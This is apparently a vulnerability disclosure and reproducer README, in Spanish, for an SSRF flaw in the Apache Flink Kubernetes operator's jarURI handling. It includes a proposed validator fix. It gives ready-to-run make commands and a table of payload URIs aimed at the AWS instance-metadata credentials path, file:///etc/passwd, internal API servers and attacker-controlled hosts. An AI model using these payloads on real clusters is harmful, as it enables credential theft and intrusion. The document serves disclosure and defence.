
CVE-2026-40564: SSRF a través de jarURI de FlinkSessionJob en apache/flink-kubernetes-operator. Reproducidor autocontenido que se ejecuta en un clúster local kind con un solo comando make.
El operador Apache Flink Kubernetes no verifica el campo spec.job.jarURI en los recursos FlinkSessionJob (o FlinkDeployment). Cualquier persona que pueda crear uno de esos recursos puede establecer jarURI a cualquier URL. Cuando el operador reconcilia el recurso, obtiene esa URL desde dentro de su propio pod. El esquema puede ser http, https, file, o cualquiera de los plugins de sistema de archivos que Flink incluye, por lo que la solicitud puede ir a casi cualquier lugar al que el pod del operador pueda llegar.
main (1.15-SNAPSHOT al 2026-04-09)[email protected] y [email protected] el 2026-04-09SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetchmake verify
Esto ejecuta cinco pasos en orden:
FlinkSessionJob cuyo jarURI apunte a ellaCuando funciona, el final de la ejecución se ve así:
==> [5/5] verify-ssrf
target jarURI: https://webhook.site/<uuid>/exploit.jar
target is webhook.site, confirming via its REST API...
=== webhook.site captured requests (newest first) ===
2026-05-28 17:35:29 GET https://webhook.site/<uuid>/exploit.jar
User-Agent: Java/17.0.17
Source IP: 82.51.158.62
CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
Dashboard: https://webhook.site/#!/view/<uuid>
La primera ejecución toma entre 6 y 8 minutos. La mayor parte es descargar la imagen flink:1.17, que pesa alrededor de 700 MB. Ejecuciones posteriores toman cerca de 3 minutos.
docker, kind, kubectl 1.23 o más reciente, helm 3, make, curl y jq. El clúster debe poder alcanzar Internet para comunicarse con webhook.site.
Por defecto, el Makefile obtiene una URL nueva de webhook.site para ti. Para enviar la solicitud a otro lugar, establece SSRF_URL con el jarURI completo que desees. Se usa tal cual.
# reutilizar una URL específica de webhook.site
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar
# tu propio colaborador (Burp, interactsh, un listener de netcat, etc.)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar
# el servicio de metadatos de instancias de AWS
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# un esquema no http manejado por la capa de sistema de archivos de Flink
make verify SSRF_URL=file:///etc/passwd
Cómo la verificación confirma el resultado depende del objetivo. Si la URL está en webhook.site, el Makefile lee su API REST e imprime las solicitudes capturadas. Para cualquier otra cosa, lee el log del operador y busca el stack frame HttpArtifactFetcher.fetch, que indica que la descarga se ejecutó. WEBHOOK_URL también funciona y significa lo mismo que SSRF_URL.
make cleanup
Esto elimina el clúster kind. No queda nada.
Tres clases están involucradas, y ninguna de ellas examina el esquema, host o IP en jarURI.
DefaultValidator.validateJobSpec verifica paralelismo, modo de actualización, configuración de savepoint y forma del recurso. Nunca lee job.getJarURI():
private Optional<String> validateJobSpec(
JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
if (job == null) return Optional.empty();
Configuration configuration = Configuration.fromMap(confMap);
// ... comprobaciones de paralelismo / modo de actualización / savepoint / recursos ...
// job.getJarURI() nunca se inspecciona.
return Optional.empty();
}
ArtifactManager.fetch selecciona un descargador según el esquema. No hay lista blanca, y cualquier cosa que no sea http o https pasa a la capa de sistema de archivos de Flink:
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
URI uri = new URI(jarURI);
if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
} else {
return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
}
}
HttpArtifactFetcher.fetch abre la URL tal como se proporciona. No hay verificación de host, de rango IP, ni nada que impida alcanzar direcciones loopback o link-local:
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
URL url = new URL(uri);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
try (var inputStream = conn.getInputStream()) {
FileUtils.copyToFile(inputStream, targetFile);
}
return targetFile;
}
El operador normalmente se ejecuta con RBAC amplio. La carta Helm oficial otorga * en varios tipos de recursos, incluyendo secrets, y el pod puede normalmente alcanzar la red sin restricciones. Si puedes hacer que envíe solicitudes por ti, puedes:
FlinkSessionJobEn un clúster compartido donde varios equipos usan el mismo operador, cualquiera de ellos puede usarlo para alcanzar los recursos de otro equipo.
El reproducer por defecto usa webhook.site, pero el error no depende de cuál sea la URL. Configura SSRF_URL, o edita manifests/vulnerable-sessionjob.yaml, con cualquiera de estas:
Agrega una comprobación en DefaultValidator.validateJobSpec:
if (job.getJarURI() != null) {
Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
if (uriError.isPresent()) return uriError;
}
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
URI uri;
try {
uri = new URI(jarURI);
} catch (URISyntaxException e) {
return Optional.of("jarURI no es una URI válida: " + e.getMessage());
}
String scheme = uri.getScheme();
if (scheme == null) return Optional.of("jarURI debe incluir un esquema");
Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
return Optional.of("El esquema jarURI '" + scheme + "' no está en la lista blanca");
}
if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
InetAddress addr;
try {
addr = InetAddress.getByName(uri.getHost());
} catch (UnknownHostException e) {
return Optional.of("El host de jarURI no se puede resolver");
}
if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
|| addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
return Optional.of("El host de jarURI apunta a una dirección restringida");
}
}
return Optional.empty();
}
Establece KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES con un valor predeterminado de Set.of("https"). Operadores que necesiten s3 u otro esquema pueden agregarlo.
Dos cosas más que vale la pena hacer:
NetworkPolicy para el pod del operador que bloquee la salida hacia link-local (169.254.0.0/16), loopback y las direcciones conocidas de metadatos en la nube.El Makefile soluciona dos cosas que rompen kind en Linux. Cada comprobación solo se ejecuta cuando el problema está realmente presente, por lo que es seguro ejecutarlo de nuevo.
/etc/resolv.conf del nodo kind apunta a 127.0.0.1, por lo que el clúster resuelve nombres externos como localhost. El paso cluster-up reescribe la configuración de CoreDNS para reenviar a 1.1.1.1 y 8.8.8.8.ndots establecido a 5, un nombre como webhook.site obtiene primero los dominios de búsqueda del host añadidos, y algunos ISP responden 127.0.0.1 para subdominios que no reconocen. El paso install-operator asigna al pod del operador su propio dnsConfig para que esto no ocurra.Si una ejecución completa falla a medio camino, puedes ejecutar make verify-ssrf por sí solo. Lee el jarURI desde el FlinkSessionJob activo, por lo que no depende de nada guardado localmente.
jarURI | Alcanza |
|---|
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | AWS IMDSv1, las credenciales IAM del nodo del pod del operador |
http://10.0.0.1:6443/api | Un apiserver dentro del clúster, o cualquier endpoint interno que tenga lista blanca la IP del operador |
file:///etc/passwd | El propio sistema de archivos del pod del operador, a través de la rama del descargador de sistema de archivos |
s3://attacker-bucket/x.jar | S3, usando las credenciales del pod del operador |